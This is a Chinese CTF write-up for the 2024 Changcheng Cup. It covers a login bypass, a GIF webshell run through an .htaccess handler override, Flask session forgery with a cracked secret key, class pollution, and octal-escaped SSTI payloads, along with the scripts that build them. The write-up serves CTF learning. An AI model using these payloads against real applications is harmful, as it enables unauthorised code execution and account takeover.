2024长城杯-wp

WEB

sqlup

先fuzz一波

过滤了–+,#,select,and ,or

输入admin 1进去了???(源代码的fuzzy matching实际上是用%%密码登录

点击头像有文件上传的点

过滤了字母p,导致无法上传.php文件,尝试了一下可以上传正常的gif文件

所以可以做一个gif的图片马

上传之后我们打开图片链接,就可以拿到图片的目录了

http://eci-2ze5wzpsckex64sy7i6f.cloudeci1.ichunqiu.com/uploads/2.gif

有了图片马该如何利用呢?想到了.htaccess文件可以更改文件的解析

我们上传一个.htaccess文件:SetHandler application/x-httpd-php

这样所有的文件都会当做php代码来解析

(蚁剑无法打开/flag文件,需要用tac指令显示!)

candyshop[未解出]

{‘csrf_token’: ‘04d9a3ecee8267e5ce21f9377e99fd425144aa5f’, ‘identity’: ‘guest’, ‘username’: ‘admin’}

借助flask-unsign工具可以爆破秘钥:a123456

伪造session .eJw9y0EKgCAQAMC_7LmDW6bWZ2LVXZDQwOwQ0d_z1HVgHghnla0dOxdYwXrUhMgTolEoMzoKY2ArRhaFVntNUWknMECKXFpqd18UcyqdrpNrocw_vR9gxh1Q.ZuAMjw.b0AUOTmCQ3ZMBe1JKK3ybGqQaPc

成功进入admin路由

添加库存

污染sold

"{'csrf_token': 'fbe216802ca261c5956c46ba90628f1eb9dc1d17', 'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold' : 600}}}"

.eJxNi0EKwyAQAP-y5x5Umm30M7LqWqRmhWgPJfj3Cr30NjMwF8R-Zj_aiwUc5MBG465MJIM6bnbDeMdAVqHZs-ZgU9RJP-AGJbGMMj7ronQUWend-RQ6-C95X6QM78Fdi5-1Bar9p73VBA6VmnN-ASCJKvw.ZuAT_g.jJdvne7R839xwsuNCPdrQZ1ZQAE

Congratulations! Here is my secret: flag in /tmp/xxxx/xxx/xxxx/flag

1
2
def sanitize_inventory_sold(value):
return re.sub(r'[a-zA-Z_]', '', str(value))

发现有个waff,在view_directory路由调用

1
2
3
4
5
6
7
8
9
@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
username = session.get('username')
identity = session.get('identity')
if not username or identity != 'admin':
return redirect(url_for('register'))
inventory_value = sanitize_inventory_sold(inventory)
sold_value = sanitize_inventory_sold(sold)
return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

猜测这个位置有ssti,也就是说要只要污染sold为ssti的payload,就能命令执行了

waf非常严格,过滤了字母和下划线

使用这个脚本来替换字母为八进制

1
2
3
4
5
6
7
8
9
10
exp = "__class__"
dicc = []
exploit = ""
for i in range(256):
eval("dicc.append('{}')".format("\\"+str(i)))
for i in exp:
exploit += "\\\\"+ str(dicc.index(i))


print(exploit)

使用这个脚本对session加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from urllib import request

from flask import Flask, session, make_response
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = 'a123456'


@app.route('/')
def index():
# 设置一些 session 数据
session["csrf_token"] = "d8ab3b9300e88f1abd2ee2d00bca39791e3d334e"
session["__init__"] = {"__globals__": {"sold": "{{()[\\137\\137\\143\\154\\141\\163\\163\\137\\137][\\137\\137\\142\\141\\163\\145\\163\\137\\137][0][\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137]()}}"}}
session["identity"] = "admin"
session["username"] = "ad"

# 创建响应对象
response = make_response("Session set.")


return response

if __name__ == '__main__':
app.run(debug=True)
1
2
3
4
{{()['__class__']['__bases__'][0]['__subclasses__']()}}
{{''.\\137\\137\\143\\154\\141\\163\\163\\137\\137.\\137\\137\\155\\162\\157\\137\\137[-1].\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137()}}
{{config}}
{{\\143\\157\\156\\146\\151\\147}}

到这里复现的环境就行不通了,可能要到linux环境

复现的压缩包放到夸克网盘了
https://pan.quark.cn/s/677a926c1edd

MISC

BrickGame

记住图标后选择相同图标格子即可